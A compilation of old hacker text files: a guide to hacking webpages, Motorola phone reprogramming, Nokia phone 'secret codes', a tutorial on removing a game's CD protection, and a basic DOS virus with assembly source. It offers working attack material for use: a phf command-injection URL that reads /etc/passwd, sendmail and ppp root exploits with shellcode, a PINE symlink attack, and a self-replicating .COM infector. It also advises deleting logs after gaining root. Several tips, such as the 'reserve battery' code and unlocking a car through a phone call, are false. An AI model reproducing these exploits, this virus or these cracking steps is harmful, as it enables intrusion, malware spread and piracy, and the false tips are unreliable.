Hacking Webpages

Well Psychotic wrote one of the most helpful unix text files in cyberspace
but with the mail that we recieved after the release of our famous 36 page
Unix Bible we realised that unix isn't for everybody so we decided that we
should write on another aspect of hacking..... Virtual Circuit and Psychotic
is proud to release, "Hacking Webpages With a few Other Techniques." We will
discuss a few various ways of hacking webpages and getting root. We are also
going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one
little difference, it's shadowed. Shadowed password files don't let you
view or copy the actual encrypted password. This causes problems for the
password cracker and dictionary maker(both explained later in the text).
Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like
you should be able to identify a normal encrypted pw from a shadowed pw file.
We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is to
download or copy the file. 2. The second step is to find a password cracker and
a dictionary maker. Although it's nearly impossible to find a good cracker there
are a few ok ones out there. I recomend that you look for Cracker Jack, John the
Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or
a dictionary file... When you start a cracking prog you will be asked to find
the the password file. That's where a dictionary maker comes in. You can download
one from nearly every hacker page on the net. A dictionary maker finds all the
possible letter combinations with the alphabet that you choose(ASCII, caps,
lowercase, and numeric letters may also be added) . We will be releasing our
pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect
Drug." As far as we know it will be one of the largest in circulation. 3. You then
start up the cracker and follow the directions that it gives you.


The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody
already knows it and most servers have already found out about the bug and fixed it.
But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it
doesn't work 95% of the time). But to do the phf all you do is open a browser and
type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get
the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).


Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated
then hacking through ftp or using the phf. Before you can setup an exploit you must
first have a telnet proggie, there are many different clients you can just do a netsearch
and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from
the inside out. Exploits expose errors or bugs in systems and usually allow you to gain
root access. There are many different exploits around and you can view each seperately.
I’m going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


and now on to another exploit. I’m going to display the pine exploit through linux.
By watching the process table with ps to see which users are running PINE, one can
then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process
table once again will now reveal when each user quits PINE or runs out of unread messages
in their INBOX, effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic
example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id
as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm
/tmp/.hamors_lockfile.

This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is
the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploitation
script for the ppp vulnerbility as described by no one to date, this is NOT
FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt
work. This is how you set it up:

#include
#include
#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you’ve gotten root "what’s next?" Well the choice is up to you but I would
recommend changing the password before you delete or change anything. To change their
password all you have to do is login via telnet and login with your new account. Then
you just type: passwd and it will ask you for the old password first followed by the new
one. Now only you will have the new pw and that should last for a while you can now upload
you pages, delete all the logs and just plain do your worstJ Psychotic writes our own
exploits and we will be releasing them soon, so keep your eyes open for them. We recommend

Hacking nokia cell phones --secret codes

Motorola Analogue Phones
Jun, 20 2002 - 14:24
MOTOROLA PROGRAMMING INSTRUCTIONS
NOTES: Some units have dual NAM's.
The ESN prefix is 130 decimal, 82 hex.

Determine which access sequence to use:

HAND HELD PORtable MODELS

If the phone has a FCN button and no MENU button use sequence 1.
If the phone has no FCN button use sequence 2.
If the phone has a MENU button and a FCN button use sequence 4.

INSTALLED MOBILE PHONES AND TRANSPORtable MODELS

If the phone has no FCN button and no RCL button use sequence 3.
If the phone has a FCN button use sequence 4.
If the phone has a MEM button use sequence 5.
If the phone has a RCL button and no FCN button use sequence 6.

SEQUENCE# ACCESS CODE

1 FCN (SECURITY CODE TWICE) RCL
2 STO # (SECURITY CODE TWICE) RCL
3 CTL 0 (SECURITY CODE TWICE) *
4 FCN 0 (SECURITY CODE TWICE) RCL
5 FCN 0 (SECURITY CODE TWICE) MEM
6 CTL 0 (SECURITY CODE TWICE) RCL

The default security code is 000000. The CTL (control) button is the single black button on the side of the handset.

NAM programing:

1. Turn the power on.
2. Within ten seconds enter the access sequence as determined above.
3. The phone should now show "01" in the left of the display, this is the first programing entry step number. If it does not the security code is incorrect, or the programing lock-out counter has been exceeded. In either case you can still program the unit by following the steps under TEST MODE PROGRAMING below.
4. The * key is used to increment each step:
Each time you press * the display will increment from the step number, displayed on the left, to the data stored in that step, displayed on the right. When the data is displayed make any necessary changes and press * to increment to the next step number.
5. The SND key is used to complete and exit programing when any STEP NUMBER is displayed.
If you have enabled the second phone number bit in step 10 below then pressing SND will switch to NAM 2. Steps 01 thru 06, 09 and 10 will repeat for NAM 2, the step number will be followed by a "2" to indicate NAM two.
6. The CLR key will revert the display to the previously stored data.
7. The # key will abort programing at any time.

PROGRAMING DATA:

STEP# #OF DIGITS/RANGE DESCRIPTION

01 00000 - 32767 SYSTEM ID
02 3 DIGITS AREA CODE
03 7 DIGITS TEL NUMBER
04 2 DIGITS STATION CLASS MARK
05 2 DIGITS ACCESS OVERLOAD CLASS
06 2 DIGITS GROUP ID (10 IN USA)
07 6 DIGITS SECURITY CODE
08 3 DIGITS LOCK CODE
09 0333 OR 0334 INITIAL PAGING CHANNEL
10 6 DIGIT BINARY OPTION PROGRAMING (SEE NOTE 1)
11 3 DIGIT BINARY OPTION PROGRAMING (SEE NOTE 2)

NOTES:

Take care with Motorola's use of "0" and "1". Some options use "0" to enable, some use "1".

1. This is a 6 digit binary field used to select the following options:

Digit 1: Internal handset speaker, 0 to enable.
Digit 2: Local Use Mark, 0 or 1.
Digit 3: MIN Mark, 0 or 1.
Digit 4: Auto Recall, always set to 1 (enabled).
Digit 5: Second phone number (not all phones), 1 to enable.
Digit 6: Diversity (Two antennas, not all phones), 1 to enable.

2. This is a 3 digit binary field used to select the following options:

Digit 1: Continuous DTMF, 1 to enable.
Digit 2: Transportable Ringer/Speaker, 0=Transducer, 1=Handset.
Digit 3: 8 hour time out in transportable mode, 0 to enable.

TEST MODE ACCESS:

INSTALLED MOBILE PHONES AND TRANSPORtable MODELS

To enter test mode on units with software version 85 and higher you must short pins 20 and 21 of the transceiver data connector. An RS232 break out box is useful for this, or construct a test mode adaptor from standard Radio Shack parts.

For MINI TR or Silver Mini Tac transceivers (smaller data connector) you can either short pins 9 and 14 or simply use a paper clip to short the hands free microphone connector.

HAND HELD PORtable MODELS:

There are two basic types of Motorola portable phones, the Micro-Tac series "Flip" phones, and the larger 8000 and Ultra Classic phones. Certain newer Motorola and Pioneer badged Micro-Tac phones do not have a "flip", but follow the same procedure as the Micro-Tac.

8000 & ULTRA CLASSIC SERIES:

If you have an 8000 series phone determine the "type" before trying to enter test mode. On the back of the phone, or on the bottom in certain older models, locate the F09... number this is the series number. If the FOURTH digit of this number is a "D" you CAN NOT program the unit through test mode, a Motorola RTL4154/RTL4153 programer is required to make any changes to this unit.

Having determined that you do not have a "D" series phone the following procedure is used to access test mode:

Remove the battery from the phone and locate the 12 contacts at the top near the antenna connector. These contacts are numbered 1 through 12 from top left through bottom right. Pin 6, top right, is the Manual Test Mode Pin. You must ground this pin while powering up the phone. Pin 7 (lower left) or the antenna connector should be used for ground. Follow one of these procedures to gain access to pin 6:

1. The top section of the battery that covers the contacts contains nothing but air. By careful measuring you can drill a small hole in the battery to gain access to pin 6, alternately simply cut the top off the battery with a hack saw. Having gained access use a paper clip to short pin six to the antenna connector ground while powering up the phone.
2. If you do not want to "destroy" a battery you can apply an external 7.5 volts to the + and - connectors at the bottom of the phone, ground pin 6 while powering up the phone as above.
3. You can also try soldering or jamming a small jumper between pins 6 and 7 (top right to lower left), or between pin 6 and the antenna connector housing ground. Carefully replace the battery and power up the phone. Use caution with this method not to short out any other pin.
4. A cigarette lighter adaptor, if you have one, also makes a great test mode adaptor as it can be disassembled to give you easier access to pin 6. Many are pre marked, or even have holes in the right location. This is because they are often stamped from the same mold that the manufacturer uses for making hands free adaptor kits and these kits require access to the phone's connectors.

Emergency Numbers For Mobile

1) Emergency number

The Emergency Number worldwide for Mobile is 112.

If you find yourself out of coverage area of your mobile network and there is an emergency, dial 112 and the mobile will search any existing network to establish the emergency number for you, and interestingly...this number 112 can be dialed even while the keypad is locked. Try it out.


2) Locked the keys in the car and your car has remote keys??

This may come in handy someday. Good reason to own a mobile phone: If you happen to lock your keys in the car and the spare keys are home, call someone on your mobile phone. Hold your mobile phone about a foot from your car door and have the other person at your home press the unlock button, holding it near the phone on their end. Your car will unlock. Saves someone from having to drive your keys to you.

Distance is no object. You could be hundreds of miles away, and if you can reach someone who has the other "remote" for your car, you can unlock the doors (or the boot).

3) Hidden Battery power (Work in old phones only)

Imagine your battery is very low, u r expecting an important call and u don't have a charger. Nokia instrument comes with a reserve battery.

To activate, press the keys *3370# Your battery will restart with this reserve and the instrument will show a 50% increase in battery. This reserve will get charged when u charge your phone next time.

How to crack a game

Introducing

So you want to be a cracker huh?Aha.I know what do you think.You think i download any shit crack help documents from the internet read them and can start to crack huh?Then i`ll call me CdKiller and be famous as every other cracker in the net huh?NO!!!ALL WHAT YOU HAVE THINK ABOUT CRACKING IS FALSE!!!FORGET IT NOW!!!!CLEAR YOUR BRAIN AND I`LL TEACH YOU HOW TO CRACK!!!!
After you finished reading this text you`ll know how to crack Cd protection and how to disable movie/sound/music calls in the game exe.

WHAT WE NEED TO CRACK

Ok before we can start or let us better say before YOU can start to crack you need an disassembler! I use Win32Dasm and i think its the best prog for crack beginner.
Then you need Hiew to manipulate the exe you want to crack because with Win32Dasm you can only take a look into the exe but you can`t manipulate anything.
Win32Dasm
Hiew
This two things you must called your own to be able to crack progs.
Ok we should think that you have already the two progs and we can start to crack.

LET`S CRACK!!!

Crack with Win32Dasm
Ok in this lesson i`ll show you how to work with Win32Dasm and Hiew.
Today we wanna crack an game which is very easy to crack.We crack Need for Speed 2.
Ok.We start our Win32Dasm.exe.We can see the main page with an toolbar.We click on
Disassembler.An menu pops up and we can see some options.We click on Open file to Disassemble.Another pop up menu show us our HD and we click on the exe we want to disassemble(here is it the nfsw.exe).The disassemble process have start the disassembling may take few minutes (be sure that you have over 80MB free space on your HD if not it may be that the exe cannot be fully disassemble).Ok the exe was disassembled.Huh whats that?
All what you can see is a text written with WingDings font!NO PROBLEMO AMIGO!!!!
Click on Disassembler and then in the pop up options screen on Font and then on select Font.You can select an Font type (i think the best Font to work with it is Arial).Click on ok.
We can now read the text.Ok.But what the hell all the scurvy things mean?
Object01: Begtext RVA: 00001000 Offset: 00000400 Size: 000AEA00 Flags 60000020
What does it mean?We dont know that.But no matter!We dont need to know that.What we have to do now is to start the game (here Need for Speed 2) without CD.It doesn`t works huh?SHIT!But what does the error message say?
Abort message:
To play Need for Speed 2 you need the Cd
Ok.Now we know the error message!That is very usefull!!!We go back to Win32Dasm (the nfsw.exe is already disassembled) we click right on the toolbar on the button String Data References (it`s the button next to the print button).An pop up window called
Win32Dasm List of String Data Items is now open.Ok.All we have to do is to look for the error message we saw if we start Need for Speed without Cd (To play Need for Speed you need the CD).It beguns with T for "To play" so we dont search at the start but warped to the section where we see the messages that begin with "T".And there is it!The error message
"To play Need for Speed 2 you" we doubleclick on the message.We close the pop up menu with the error messages and go back to the main screen of Win32Dasm with the text of the nfsw.exe.We can see that we are not on the beginning of the text but anywhere in the middle.We are now exactly on the place were the error message is.We see some wirrwarr
and still don`t know what does it means.But the only thing we must to know is the @offset number of every call or jump command(jump =jmp call = call).We look a moment on the screen and then we see an jump command:
:0044632C EB1BC5E3E1 call 00446349
we use the cursor keys to click on the jump command.The OPbar change his color to green. That means that we can manipulate it (we can manipulate everything in the exe but the green bar show us important commands like jump,call....).We let the bar on the jump command and look below on the bar that show us some numbers:
Line:120246 Pg 1604 of 4273 Code Data @:0045821 @Offset 00045821h in file:nfsw.exe
the only thing we need is number behind @Offset (here is it 00045821)we dont need the last thing h.We write down the number (here 00045821) and close the Win32Dasm window.
We go now to Hiew.
Crack with HIEW
We start the Hiew.exe (h.exe/h95.exe).We can see an list of programms and exes in the HIEW directory it looks like Norten Commander.We use the cursor keys to move up and down and so we go to the directory where we have saved the exe we want to crack (here is it C:\game\nfs2\nfsw.exe).We click on the exe we want to crack (here nfsw.exe).We see now any wirrwarr and dont know what to do with it.We click F4 and an pop up menu comes.In the pop up menu we click on Decode.Now we can see an list with numbers and other things.We click now on F5 and above on the left site of the screen we can type the number we write down in Win32Dasm (here is it 00045821).We type the number and will be warped by Hiew to the place were the number exist.Now we see any numbers and our cursor is placed on
EB1BC5E3E1 (in Need for Speed 2 crack).Ok.Every two numbers means one byte.Here we have EB1BC5E3E1 that means we have 5byte.Now we click on F3 (edit).We can now edit the ten numbers EB1BC5E3E1.We type now 9.If we type we will be warped to an other place but that is no problem.The 9 is still there.We type now an 0 and then again 9 and 0.Thtat we will do for every two numbers that means wo do it 5 times.We click on F9 (update).We have typed five times 90.For every byte 90 for EB=90 1B=90 C5=90 E3=90 E1=90.FOR EVERY BYTE 90.For example: if there stand E8D117FDFF (it is the @offset code for the movie files but no matter now) it means 10 numbers = 5byte and for every byte a 90!!!!The number 90 is the noop number.Ok.We click on F10(quit) we can now run Need for Speed 2 without CD!!!
We have removed the Cd protection for Need for Speed 2!!!!

OK WE DO THAT

Ok we have cracked now the CD protection.

SOMETHING TO REMEMBER

The first thing you have to do if you wanna crack an game is to run the game without CD!
Then you look which kind of error message it shows.You must remember the error message
and start Win32Dasm then you look under List of String Data Items where you find the error message.
For example: You start the game without movies on your HD.The game may show you an error message like MOVIE FILE not found.Then you look under Win32Dasm where do you find the error message called MOVIE FILE not found.If you find it you doubleclick on it.You can then close the List of Data String Items and go back to the Win32Dasm main screen there you was warped to the place which contain the call or jump commands for the error message.You write down every jump and call @offset number (you recognize the commands if the OPbar change his color to green)you need only the number behind @Offset without the h!!!!Then you go to hiew and type the number in the open field.Then you edit the call or jump command with help of 90 for every byte(remember every two numbers are one byte).Then you click on update and quit.You have now nooped the Game!!!

TROUBLESHOOTING

Q.:What may i do if there are more as one call or jump commands or one call and one jump?
A.:Ok.Now you come to the area where the real cracking begin!One of the call or jump command is an "GOODBOY"and one an"BADBOY"!!!An goodboy is good and if you noop the goodboy it may be to 99% that the game doesnt work.But which of them are good and bad?We dont know that!!!You must experiment!!!The best thing to do is to save the exe and do it on the hard old "try and error"method.You try to noop one then look if the game runs if it`s so great if not you must load your saved exe and try another number.At first you can try to noop every call and jump command you see but i am sure that the game will not run after that.You must experiment with different noops so long as it gets and it works!!!
Q.:There is no String References button avaible!
A.:If it is so it is not good for you!It means that the chance for you to crack the game is 5%.
The only thing you can do is to search per hand after keywords like cd/movie/music/error...
Or to look under the HexWorkShop if you can find an string you can manipulate.But i thing you`ll have no chance to crack the game.
Q.:I try everything but i cant crack the game!
A.:There are two possible ways:
1.:You do anything wrong if you cracked the game (like noop an GoodBoy,noop anything the game need,noop not enough and dont removed the wanted protection or nooped too much and the game doesnt works)
2.:You cannot crack the game cause the task is too hard or nobody can crack the game (but i think the first thing).

QUICK REMEMBER

-Two numbers are one byte :E4C2A1 means E4=1byte C2=1byte A1=1byte and for every byte
a 90 (the noop number)
- Start without Cd then look which kind of error message the game show
- With the message to Win32Dasm and to the String of Data Items pop up menu
- There you have to search where you can find the same error message and double click on it
- Write down the number after @Offset without the h (below the main screen) for every call and jump command (you recognize it if the bar change his color to green)
- Then with the @Offset number to Hiew and noop the address

THAT WAS ALL

I hope you understand my text and are now able to crack gamez and other things!
I know that it is not easy to understand (my gramatic is bader then of an turkish imigrate in russland) but if you try it often enough you`ll check it and crack it!I am sure you do!!!!
This is the first text i write about cracking in my life and i am sure it will be not the last!!!

OUTRO

The text was written by The PuppetMaster2501.I am proud member of one of the newest crack groups called D.O.C. - Defenders of Cracking.If you have some experience in cracking hacking or can program some graphic tools in Turbo Pascal or C++ and wanna be an Defender too and an member of D.O.C. then send me an e-mail and i will contact you.

VIRUS Programming

Virus programming (basics) #1...
-----------------------------------------------------------------
This section is dedicated to those who would like to write a
virus, but don't have the knowledge to do so. First of all,
writing a virus is no big deal. It is an easy project, but one
which requires some basic programming skills, and the desire to
write a virus! If either of these is missing, writing a virus
would be tedious indeed!.

Well, if you meet these requisites, keep reading this article....

JE READ
JNE FUCK_YOU!
READ:

The survival of a virus is based in its ability to reproduce. "So
how the fuck do I make a program reproduce?", you might ask.
Simple, by getting it to copy itself to other files....

The functional logic of a virus is as follows:

1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.

The following is an example of a simple virus:

;****************************************************************
; START OF THE EXAMPLE:
;****************************************************************
;Warning, this example is a (piece of shit?)
; - The virus does not test for prior infection
; - it searches only for the first .COM file in the current
; directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory. If we later run the newly infected file, it will find

; the first file in its directory, itself. Thus, it will re-infect

; itself over and over.
;===================CODIGO=======================================
;(The variables in a .COM file are relative to offset 100h).

codigo segment 'code'
org 100h ;Organize all the code starting
; from offset 100h
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
;segments

start proc far ;Start the routine
COMIENZO:
push cs ;Store CS
push cs ;Store CS
; once again.
pop ds ;Bring DS out from stack
pop es ;Bring ES out from stack

call falso_proc ;Call proc. so that its
; address is placed in the stack
falso_proc proc near
falso_proc endp

pop bp ;BP<== Proc. address.
sub bp, 107h ;BP<== BP - Previous directory


;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file. At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0; when I call a variable
; with "BP+VARIABLE" the value of the variable's address is not
; modified. When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.


;Find the first .COM file in the directory
-----------------------------------------
mov ah, 4eh ;Search for the 1st file
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
;(*.*) so it will search all
;the files, including directory
;names with extensions.
mov cx, 0000h ;Entry attributes
int 21h

;These attributes mentioned in the commentary are the directory's
; entry attributes. When I set the attributes to 0, I'm telling
; DOS to search normal files. If I include a bit combination which

; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files. If the search range includes the Volume bit, the search
; is limited to that.

;These are the bits which correspond to each attribute:
;Bits: 7 6 5 4 3 2 1 0
; . . . . . . . 1 Bit 0: Read only
; . . . . . . 1 . Bit 1: Hidden
; . . . . . 1 . . Bit 2: System
; . . . . 1 . . . Bit 3: Volume
; . . . 1 . . . . Bit 4: Directory
; . . 1 . . . . . Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".

;Open file
;----------------------------------------------------------------
mov ah, 3dh ;Open the file.
mov al, 00000010b ;read/write.
mov dx, 009eh ;DX<== DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack.

;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes. We are only interested in the
; first 3 bits,

;bits 2 1 0:
;
; 0 0 0 Read only mode
; 0 0 1 Write only mode
; 0 1 0 Read/Write mode
;
;OK, we now have the file attributes stored in AL. What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIZ chain with the name of the file to be
; opened. In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area). I
; we have it in the DTA...... Why? Simply because when we search

; for a file to infect, all the information we need is returned to
; this memory area. This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes

; in size.
;
;The DTA format is as follows:
;
;Offset Bytes Function
; 00h 21d Used by DOS for the 4fh service
; (search for the next file)
; 15h 01d Attributes of the file that's been found
; 16h 02d File time
; 18h 02d File date
; 1Ah 04d File size in bytes
; 1Eh 13d File name in an ASCIIZ chain
; (FILENAME.EXT),0
;
;Well, all that remains to be doe is to give DX the position in
; memory where I've stored the filename: "MOV DX, E1h" and its's
; done. But careful now, remember that DTA starts at offset 80h,

; which means I have to pass to DX the value "80h+1Eh = 9Eh". That

; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
are probably asking yourselves what I mean by "handle". The handle
is a number which tells DOS which file we want. DOS gives us a
handle for each file we open so we have to be careful to have the
correct handle for each file which we read/write.

;Read the first 3 bytes.
-----------------------------------------------------
pop bx ;I take the handle from the
;stack to BX
push bx ;and I store it again.
mov ah, 3fh ;Read file.
mov cx, 0003h ;Read 3 bytes.
lea dx, bp+buffer ;and store in the buffer.
int 21h

INFECTAR: ;(infect)
;Move pointer to the start.
---------------------------------------------------
mov ax, 4200h ;I move the write pointer
;to the beginning of the program
mov cx, 0000h
mov dx, 0000h
int 21h

;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
; AL <== 00 Move pointer to the beginning of the file.
; AL <== 01 leave pointer where it is.
; AL <== 02 Move pointer to end-of-file.

;Write the first byte (jmp)
-------------------------------------------------
mov ah, 40h ;write the first byte.
mov cx, 1d ;Quantity=1.
lea dx, bp+jump ;DX<== JUMP offset
int 21h

;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for

; the jump is below). What follows the jump is the address of the
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.

;Calculating file length
-------------------------------------------------
mov cx, 2 ;Copy 2 bytes.
mov si, 009ah ;SI<== DTA offset
lea di, bp+longitud ;DI<== File LENGTH offset.
rep movsb ;Copy.


;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this

; case, I copy the file length of the DTA to the variable
; 'LONGITUD').


sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
;[LONGITUD]

;The JMP is completed
--------------------------------------
mov ah, 40h ;Write.
mov cx, 2d ;Number of bytes.
lea dx, bp+longitud ;DX<== LONGITUD (length)
; offset
int 21h

;Move pointer to end
-------------------------------------------------------
mov ax, 4202h ;Move the write pointer to the
;end of the program.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.

;Copy the virus to the program.
---------------------------------------------------
pop bx ;Restore the handle.
mov ah, 40h
mov cx, 190d ;number of bytes to copy.
lea dx, bp+comienzo ;Start copying from....
int 21h

;Close the file after infection
------------------------------------
mov ah, 3eh ;Close file.
int 21h

;Here, too, we need in DS:DX the address of the buffer which
; contains the filename string, but in this case DS and DX already
; contain those values from before.

NO_INFECTAR:

;==================RETURN CONTROL TO THE HOST=====================
;Copy the buffer which contains the first 3 bytes of the file into
; memory.
------------------
mov cx, 0003h ;Number of bytes (3).
mov di, 0100h ;DI<== offset 100h. Beginning of the
;program in memory.
lea si, bp+buffer ;SI<== BUFFER offset
rep movsb ;Copy.

;What we are doing here is to "fix" the file, since when it was
; infected, the first few bytes are overwritten by the virus. That

; is why we reconstruct the file to its original state, by copying
; the first 3 bytes, which we had stored earlier, into memory.

;Jump to offset 100h
--------------------------------------------------------

mov ax, 0100h ;Address needed to execute the host
jmp ax

;As we mentioned before, in .COM files the executable code begins
; at offset 100h. The information found between 00h and 100h is
; program data, like the DTA for example.

;The main difference between a .COM file and an .EXE is that a .COM
; cannot occupy more than one memory segment, or 65535 bytes.
; .EXEs can, because DOS can 'tailor' them to fit into a number of
; different segments. Unlike.EXE files. .COM files are faithful
; reproductions of the contents of memory.

;====================DATA AREA===================================

buffer db 7d dup(0)
longitud db 2 dup(0)
file_inf db '*.COM',0
jump db 'é',0 ;<----jump ascii

;(The character '0' is the end of the ASCIIZ string)

start endp ;End of main procedure
codigo ends ;end of code segment
end comienzo ;END. Go to COMIENZO

;****************************************************************
; END OF EXAMPLE